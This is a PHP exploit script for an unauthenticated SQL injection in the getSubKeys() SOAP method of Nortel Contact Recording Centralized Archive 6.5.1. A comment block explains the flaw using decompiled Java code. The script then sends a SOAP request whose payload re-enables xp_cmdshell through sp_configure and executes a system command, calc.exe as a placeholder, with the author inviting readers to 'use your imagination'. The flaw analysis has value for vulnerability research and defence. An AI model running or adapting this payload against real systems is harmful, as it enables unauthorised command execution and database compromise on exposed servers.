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<?php /* Nortel Contact Recording Centralized Archive 6.5.1 EyrAPIConfiguration Web Service getSubKeys() Remote SQL Injection Exploit tested against: Microsoft Windows Server 2003 r2 sp2 Microsoft SQL Server 2005 Express download uri: ftp://ftp.avaya.com/incoming/Up1cku9/tsoweb/web1/software/c/contactcenter/crqm/6_5_CS1K_2/Nortel-DVD3-Archive-6_5.iso background: This software installs a Tomcat http server which listens on port 8080 for incoming connections. It exposes the following servlet as declared inside c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\web.xml : ... <servlet-mapping> <servlet-name>EyrAPIConfiguration</servlet-name> <url-pattern>/EyrAPIConfiguration/*</url-pattern> </servlet-mapping> ... at the following url: http://[host]:8080/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf Vulnerability: without prior authentication, you can reach a web service with various methods availiable, as described inside the associated wsdl, see file: c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\EyrAPIConfiguration.wsdl among them, the getSubKeys() method. Now look at getSubKeys() inside the decompiled c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\com\eyretel\eyrapi\EyrAPIConfigurationImpl.class : ... public String getSubKeys(boolean iterateSubKeys, boolean includeValues, String systemId, String componentId, String sysCompId, String userName) throws RemoteException { StringBuffer xml; ConfigOwnerId configOwnerId; Connection conn; PreparedStatement pStmt; ResultSet rs; PreparedStatement pStmt2; ResultSet rs2; log.info((new StringBuilder()).append("Request getSubKeys: iterateSubKeys=").append(iterateSubKeys).append(", includeValues=").append(includeValues).append(", SystemId=").append(systemId).append(", componentId=").append(componentId).append(", sysCompId=").append(sysCompId).append(", userName=").append(userName).toString()); xml = new StringBuffer("<ConfigurationNodeList>"); configOwnerId = null; conn = null; pStmt = null; rs = null; pStmt2 = null; rs2 = null; try { conn = SiteDatabase.getInstance().getConnection(); if(EyrAPIProperties.getInstance().getProperty("database", "MSSQLServer").equalsIgnoreCase("Oracle")) { if(componentId.compareToIgnoreCase("") == 0) componentId = "*"; if(systemId.compareToIgnoreCase("") == 0) systemId = "*"; if(sysCompId.compareToIgnoreCase("") == 0) sysCompId = "*"; if(userName.compareToIgnoreCase("") == 0) userName = "*"; pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE nvl(ComponentID, '*') = '").append(componentId).append("' AND ").append("nvl(SystemID, '*') = '").append(systemId).append("' AND ").append("nvl(SysCompID, '*') = '").append(sysCompId).append("' AND ").append("nvl(UserName, '*') = '").append(userName).append("'").toString()); rs = pStmt.executeQuery(); } else { pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE ISNULL(CONVERT(varchar(36), ComponentID), '') = '").append(unpunctuate(componentId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SystemID), '') = '").append(unpunctuate(systemId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SysCompID), '') = '").append(unpunctuate(sysCompId)).append("' AND ").append("ISNULL(UserName, '') = '").append(unpunctuate(userName)).append("'").toString()); rs = pStmt.executeQuery(); } if(rs.next()) { String strConfigOwnerId = rs.getString(1); if(!rs.wasNull()) configOwnerId = new ConfigOwnerId(strConfigOwnerId); pStmt2 = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigGroupID, ConfigGroupName FROM ConfigGroupView WHERE ConfigOwnerID = '").append(configOwnerId.toString()).append("'").toString()); for(rs2 = pStmt2.executeQuery(); rs2.next(); xml.append(getSubKeyValuesInc(new Integer(rs2.getInt(1)), iterateSubKeys, includeValues))); } } catch(SQLException e) { String msg = "Unable to get subkeys"; log.error(msg, e); throw new RemoteException(msg, e); } catch(GenericDatabaseException e) { String msg = "Unable to get subkeys"; log.error(msg, e); throw new RemoteException(msg, e); } DbHelper.closeStatement(log, pStmt); DbHelper.closeResultSet(log, rs); DbHelper.closeStatement(log, pStmt2); DbHelper.closeResultSet(log, rs2); DbHelper.closeConnection(log, conn); break MISSING_BLOCK_LABEL_646; Exception exception; exception; DbHelper.closeStatement(log, pStmt); DbHelper.closeResultSet(log, rs); DbHelper.closeStatement(log, pStmt2); DbHelper.closeResultSet(log, rs2); DbHelper.closeConnection(log, conn); throw exception; xml.append("\n</ConfigurationNodeList>"); log.info((new StringBuilder()).append("Response createKey= ").append(xml).toString()); return xml.toString(); } ... This function uses unproperly the prepareStatement() function, a SELECT query is concatenated inside of it and using user supplied values. Note also that the unpunctuate() function is unuseful to clean the passed values: ... protected String unpunctuate(String id) { StringBuffer sb = new StringBuffer(id); try { if(sb.charAt(0) == '{') sb.deleteCharAt(0); } catch(StringIndexOutOfBoundsException e) { } try { if(sb.charAt(36) == '}') sb.deleteCharAt(36); } catch(StringIndexOutOfBoundsException e) { } return sb.toString(); } ... As result, a remote attacker can send a SOAP message against port 8080 containing the getSubKeys string to execute arbitrary sql commands against the underlying database. The following code tries to execute calc.exe (if the xp_cmdshell stored procedure is not enabled, it will try to reenable it via 'sp_configure', assuming you have the privileges of the 'sa' user), otherwise use your imagination. Note: Reportedly, this product is end of sale ... so it's better you are aware of it just in case you have an online installation exposed to user input :) rgod */ error_reporting(E_ALL ^ E_NOTICE); set_time_limit(0); $err[0] = "[!] This script is intended to be launched from the cli!"; $err[1] = "[!] You need the curl extesion loaded!"; if (php_sapi_name() <> "cli") { die($err[0]); } function syntax() { print("usage: php 9sg_nortel.php [ip_address]\r\n" ); die(); } $argv[1] ? print("[*] Attacking...\n") : syntax(); if (!extension_loaded('curl')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; if ($win) { !dl("php_curl.dll") ? die($err[1]) : print("[*] curl loaded\n"); } else { !dl("php_curl.so") ? die($err[1]) : print("[*] curl loaded\n"); } } function _s($url, $is_post, $ck, $request) { global $_use_proxy, $proxy_host, $proxy_port; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($is_post) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); } curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck , "Content-Type: text/xml" )); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, ""); curl_setopt($ch, CURLOPT_TIMEOUT, 0); if ($_use_proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port); } $_d = curl_exec($ch); if (curl_errno($ch)) { //die("[!] ".curl_error($ch)."\n"); } else { curl_close($ch); } return $_d; } $host = $argv[1]; $port = 8080; print("[*] Check for spawned calc.exe sub process.\n"); $sql="'; ". "EXEC sp_configure 'show advanced options',1;RECONFIGURE;". "EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;". "EXEC xp_cmdshell 'calc';--"; $soap='<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://com.eyretel.eyrapi.org/wsdl"> <soapenv:Header/> <soapenv:Body> <wsdl:getSubKeys soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <boolean_1 xsi:type="xsd:boolean">true</boolean_1> <boolean_2 xsi:type="xsd:boolean">true</boolean_2> <String_3 xsi:type="xsd:string">'.$sql.'</String_3> <String_4 xsi:type="xsd:string">yyyy</String_4> <String_5 xsi:type="xsd:string">zzzz</String_5> <String_6 xsi:type="xsd:string">kkkk</String_6> </wsdl:getSubKeys> </soapenv:Body> </soapenv:Envelope>'; $url = "http://$host:$port/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf"; $out = _s($url, 1, "", $soap); print($out."\n"); print("[*] Done."); ?> |
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